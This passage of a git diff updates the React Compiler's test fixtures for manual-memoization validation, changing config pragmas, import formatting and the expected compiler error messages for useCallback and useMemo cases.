+function useHook(propA, propB) {
+  return useCallback(() => {
+    const x = {};
+    if (identity(null) ?? propA.a) {
+      mutate(x);
+      return {
+        value: propB.x.y,
+      };
+    }
+  }, [propA.a, propB.x.y]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{a: 1}, {x: {y: 3}}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.
+
+error.hoist-useCallback-infer-conditional-value-block.ts:6:21
+   4 |
+   5 | function useHook(propA, propB) {
+>  6 |   return useCallback(() => {
+     |                      ^^^^^^^
+>  7 |     const x = {};
+     | ^^^^^^^^^^^^^^^^^
+>  8 |     if (identity(null) ?? propA.a) {
+     | ^^^^^^^^^^^^^^^^^
+>  9 |       mutate(x);
+     | ^^^^^^^^^^^^^^^^^
+> 10 |       return {
+     | ^^^^^^^^^^^^^^^^^
+> 11 |         value: propB.x.y,
+     | ^^^^^^^^^^^^^^^^^
+> 12 |       };
+     | ^^^^^^^^^^^^^^^^^
+> 13 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 14 |   }, [propA.a, propB.x.y]);
+     | ^^^^ Could not preserve existing manual memoization
+  15 | }
+  16 |
+  17 | export const FIXTURE_ENTRYPOINT = {
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA.a, propB.x.y]. Inferred less specific property than source.
+
+error.hoist-useCallback-infer-conditional-value-block.ts:6:21
+   4 |
+   5 | function useHook(propA, propB) {
+>  6 |   return useCallback(() => {
+     |                      ^^^^^^^
+>  7 |     const x = {};
+     | ^^^^^^^^^^^^^^^^^
+>  8 |     if (identity(null) ?? propA.a) {
+     | ^^^^^^^^^^^^^^^^^
+>  9 |       mutate(x);
+     | ^^^^^^^^^^^^^^^^^
+> 10 |       return {
+     | ^^^^^^^^^^^^^^^^^
+> 11 |         value: propB.x.y,
+     | ^^^^^^^^^^^^^^^^^
+> 12 |       };
+     | ^^^^^^^^^^^^^^^^^
+> 13 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 14 |   }, [propA.a, propB.x.y]);
+     | ^^^^ Could not preserve existing manual memoization
+  15 | }
+  16 |
+  17 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.ts
new file mode 100644
index 000000000000..23d77c84ec14
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.hoist-useCallback-infer-conditional-value-block.ts
@@ -0,0 +1,20 @@
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+import {identity, mutate} from 'shared-runtime';
+
+function useHook(propA, propB) {
+  return useCallback(() => {
+    const x = {};
+    if (identity(null) ?? propA.a) {
+      mutate(x);
+      return {
+        value: propB.x.y,
+      };
+    }
+  }, [propA.a, propB.x.y]);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useHook,
+  params: [{a: 1}, {x: {y: 3}}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.expect.md
index 4dd05b0828d4..df6ee0495e17 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
 
-import { useCallback } from "react";
-import { makeArray } from "shared-runtime";
+import {useCallback} from 'react';
+import {makeArray} from 'shared-runtime';
 
 // This case is already unsound in source, so we can safely bailout
 function Foo(props) {
@@ -30,12 +30,30 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 2 errors:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This dependency may be mutated later, which could cause the value to change unexpectedly.
+
+error.invalid-useCallback-captures-reassigned-context.ts:12:37
   10 |
   11 |   // makeArray() is captured, but depsList contains [props]
 > 12 |   const cb = useCallback(() => [x], [x]);
-     |                          ^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly (12:12)
+     |                                      ^ This dependency may be modified later
+  13 |
+  14 |   x = makeArray();
+  15 |
 
-CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly (12:12)
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.invalid-useCallback-captures-reassigned-context.ts:12:25
+  10 |
+  11 |   // makeArray() is captured, but depsList contains [props]
+> 12 |   const cb = useCallback(() => [x], [x]);
+     |                          ^^^^^^^^^ Could not preserve existing memoization
   13 |
   14 |   x = makeArray();
   15 |
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.ts
index 662b97fd6d65..29ff926d2e05 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.invalid-useCallback-captures-reassigned-context.ts
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
 
-import { useCallback } from "react";
-import { makeArray } from "shared-runtime";
+import {useCallback} from 'react';
+import {makeArray} from 'shared-runtime';
 
 // This case is already unsound in source, so we can safely bailout
 function Foo(props) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useCallback-read-maybeRef.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useCallback-read-maybeRef.expect.md
deleted file mode 100644
index 8075577aceb1..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useCallback-read-maybeRef.expect.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-## Input
-
-```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-
-function useHook(maybeRef) {
-  return useCallback(() => {
-    return [maybeRef.current];
-  }, [maybeRef]);
-}
-
-```
-
-
-## Error
-
-```
-  3 |
-  4 | function useHook(maybeRef) {
-> 5 |   return useCallback(() => {
-    |                      ^^^^^^^
-> 6 |     return [maybeRef.current];
-    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-> 7 |   }, [maybeRef]);
-    | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (5:7)
-  8 | }
-  9 |
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useCallback-read-maybeRef.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useCallback-read-maybeRef.ts
deleted file mode 100644
index 1784845047c9..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useCallback-read-maybeRef.ts
+++ /dev/null
@@ -1,8 +0,0 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-
-function useHook(maybeRef) {
-  return useCallback(() => {
-    return [maybeRef.current];
-  }, [maybeRef]);
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useMemo-read-maybeRef.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useMemo-read-maybeRef.expect.md
deleted file mode 100644
index 2695a20eaa27..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useMemo-read-maybeRef.expect.md
+++ /dev/null
@@ -1,32 +0,0 @@
-
-## Input
-
-```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-
-function useHook(maybeRef, shouldRead) {
-  return useMemo(() => {
-    return () => [maybeRef.current];
-  }, [shouldRead, maybeRef]);
-}
-
-```
-
-
-## Error
-
-```
-  3 |
-  4 | function useHook(maybeRef, shouldRead) {
-> 5 |   return useMemo(() => {
-    |                  ^^^^^^^
-> 6 |     return () => [maybeRef.current];
-    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-> 7 |   }, [shouldRead, maybeRef]);
-    | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (5:7)
-  8 | }
-  9 |
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useMemo-read-maybeRef.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useMemo-read-maybeRef.ts
deleted file mode 100644
index f05052eb7226..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-invalid-useMemo-read-maybeRef.ts
+++ /dev/null
@@ -1,8 +0,0 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useMemo } from "react";
-
-function useHook(maybeRef, shouldRead) {
-  return useMemo(() => {
-    return () => [maybeRef.current];
-  }, [shouldRead, maybeRef]);
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.expect.md
new file mode 100644
index 000000000000..77f104cab0c8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees:true
+
+import {useRef, useMemo} from 'react';
+import {makeArray} from 'shared-runtime';
+
+function useFoo() {
+  const r = useRef();
+  return useMemo(() => makeArray(r), []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.maybe-mutable-ref-not-preserved.ts:8:33
+   6 | function useFoo() {
+   7 |   const r = useRef();
+>  8 |   return useMemo(() => makeArray(r), []);
+     |                                  ^ Passing a ref to a function may read its value during render
+   9 | }
+  10 |
+  11 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.ts
new file mode 100644
index 000000000000..13b8b445827f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.maybe-mutable-ref-not-preserved.ts
@@ -0,0 +1,14 @@
+// @validatePreserveExistingMemoizationGuarantees:true
+
+import {useRef, useMemo} from 'react';
+import {makeArray} from 'shared-runtime';
+
+function useFoo() {
+  const r = useRef();
+  return useMemo(() => makeArray(r), []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.expect.md
new file mode 100644
index 000000000000..ca650005c797
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback, useRef} from 'react';
+
+function useFoo({cond}) {
+  const ref1 = useRef<undefined | (() => undefined)>();
+  const ref2 = useRef<undefined | (() => undefined)>();
+  const ref = cond ? ref1 : ref2;
+
+  return useCallback(() => {
+    if (ref != null) {
+      ref.current();
+    }
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `ref`, but the source dependencies were []. Inferred dependency not present in source.
+
+error.preserve-use-memo-ref-missing-reactive.ts:9:21
+   7 |   const ref = cond ? ref1 : ref2;
+   8 |
+>  9 |   return useCallback(() => {
+     |                      ^^^^^^^
+> 10 |     if (ref != null) {
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 11 |       ref.current();
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 12 |     }
+     | ^^^^^^^^^^^^^^^^^^^^^^
+> 13 |   }, []);
+     | ^^^^ Could not preserve existing manual memoization
+  14 | }
+  15 |
+  16 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.ts
new file mode 100644
index 000000000000..826e79f526da
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.preserve-use-memo-ref-missing-reactive.ts
@@ -0,0 +1,19 @@
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback, useRef} from 'react';
+
+function useFoo({cond}) {
+  const ref1 = useRef<undefined | (() => undefined)>();
+  const ref2 = useRef<undefined | (() => undefined)>();
+  const ref = cond ? ref1 : ref2;
+
+  return useCallback(() => {
+    if (ref != null) {
+      ref.current();
+    }
+  }, []);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.expect.md
index 0f31ec9a4eb9..34f98b8c780f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
 // False positive:
 // We currently bail out on this because we don't understand
@@ -28,10 +28,17 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.todo-useCallback-captures-invalidating-value.ts:13:21
   11 |   x.push(props);
   12 |
 > 13 |   return useCallback(() => [x], [x]);
-     |                      ^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value may be mutated later, which could cause the value to change unexpectedly (13:13)
+     |                      ^^^^^^^^^ Could not preserve existing memoization
   14 | }
   15 |
   16 | export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.ts
index 9ed54d96abe9..8c3aaf546de7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.todo-useCallback-captures-invalidating-value.ts
@@ -1,6 +1,6 @@
 // @validatePreserveExistingMemoizationGuarantees
 
-import { useCallback } from "react";
+import {useCallback} from 'react';
 
 // False positive:
 // We currently bail out on this because we don't understand
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.expect.md
index b6ecf728755b..9d45c500d28b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 // This is technically a false positive, but source is already breaking
 // `exhaustive-deps` lint rule (and can be considered invalid).
@@ -19,10 +19,17 @@ function useHook(x) {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `aliasedX`, but the source dependencies were [x, aliasedProp]. Inferred different dependency than source.
+
+error.useCallback-aliased-var.ts:9:21
    7 |   const aliasedProp = x.y.z;
    8 |
 >  9 |   return useCallback(() => [aliasedX, x.y.z], [x, aliasedProp]);
-     |                      ^^^^^^^^^^^^^^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (9:9)
+     |                      ^^^^^^^^^^^^^^^^^^^^^^^ Could not preserve existing manual memoization
   10 | }
   11 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.ts
index b6f64482a25e..98c697d22084 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-aliased-var.ts
@@ -1,4 +1,4 @@
-// @validatePreserveExistingMemoizationGuarantees
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
 
 // This is technically a false positive, but source is already breaking
 // `exhaustive-deps` lint rule (and can be considered invalid).
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.expect.md
index 2dbc77f26e21..075458831b8d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useCallback(() => {
     return {
       value: propB?.x.y,
@@ -16,7 +16,7 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2, propB: { x: { y: [] } } }],
+  params: [{propA: 2, propB: {x: {y: []}}}],
 };
 
 ```
@@ -25,8 +25,15 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB?.x.y`, but the source dependencies were [propA, propB.x.y]. Inferred different dependency than source.
+
+error.useCallback-conditional-access-noAlloc.ts:5:21
    3 |
-   4 | function Component({ propA, propB }) {
+   4 | function Component({propA, propB}) {
 >  5 |   return useCallback(() => {
      |                      ^^^^^^^
 >  6 |     return {
@@ -38,7 +45,7 @@ export const FIXTURE_ENTRYPOINT = {
 >  9 |     };
      | ^^^^^^^^^^^^
 > 10 |   }, [propA, propB.x.y]);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (5:10)
+     | ^^^^ Could not preserve existing manual memoization
   11 | }
   12 |
   13 | export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.ts
index fc10cb9cdb78..c6642be4f893 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-conditional-access-noAlloc.ts
@@ -1,7 +1,7 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useCallback(() => {
     return {
       value: propB?.x.y,
@@ -12,5 +12,5 @@ function Component({ propA, propB }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ propA: 2, propB: { x: { y: [] } } }],
+  params: [{propA: 2, propB: {x: {y: []}}}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.expect.md
index 58f81b7b098c..077b9aa9f6f5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { mutate } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+import {mutate} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useCallback(() => {
     const x = {};
     if (propA?.a) {
@@ -24,8 +24,15 @@ function Component({ propA, propB }) {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propB`, but the source dependencies were [propA?.a, propB.x.y]. Inferred less specific property than source.
+
+error.useCallback-infer-less-specific-conditional-access.ts:6:21
    4 |
-   5 | function Component({ propA, propB }) {
+   5 | function Component({propA, propB}) {
 >  6 |   return useCallback(() => {
      |                      ^^^^^^^
 >  7 |     const x = {};
@@ -43,7 +50,7 @@ function Component({ propA, propB }) {
 > 13 |     }
      | ^^^^^^^^^^^^^^^^^
 > 14 |   }, [propA?.a, propB.x.y]);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (6:14)
+     | ^^^^ Could not preserve existing manual memoization
   15 | }
   16 |
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.ts
index c229263a5f8f..637e0a974e6b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-infer-less-specific-conditional-access.ts
@@ -1,8 +1,8 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import { mutate } from "shared-runtime";
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+import {useCallback} from 'react';
+import {mutate} from 'shared-runtime';
 
-function Component({ propA, propB }) {
+function Component({propA, propB}) {
   return useCallback(() => {
     const x = {};
     if (propA?.a) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.expect.md
index d6901fa38815..ba1cc7e545e2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/error.useCallback-property-call-dep.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
 
-function Component({ propA }) {
+function Component({propA}) {
   return useCallback(() => {
     return propA.x();
   }, [propA.x]);
@@ -17,14 +17,21 @@ function Component({ propA }) {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `propA`, but the source dependencies were [propA.x]. Inferred less specific property than source.
+
+error.useCallback-property-call-dep.ts:5:21
   3 |
-  4 | function Component({ propA }) {
+  4 | function Component({propA}) {
 > 5 |   return useCallback(() => {
     |                      ^^^^^^^
 > 6 |     return propA.x();
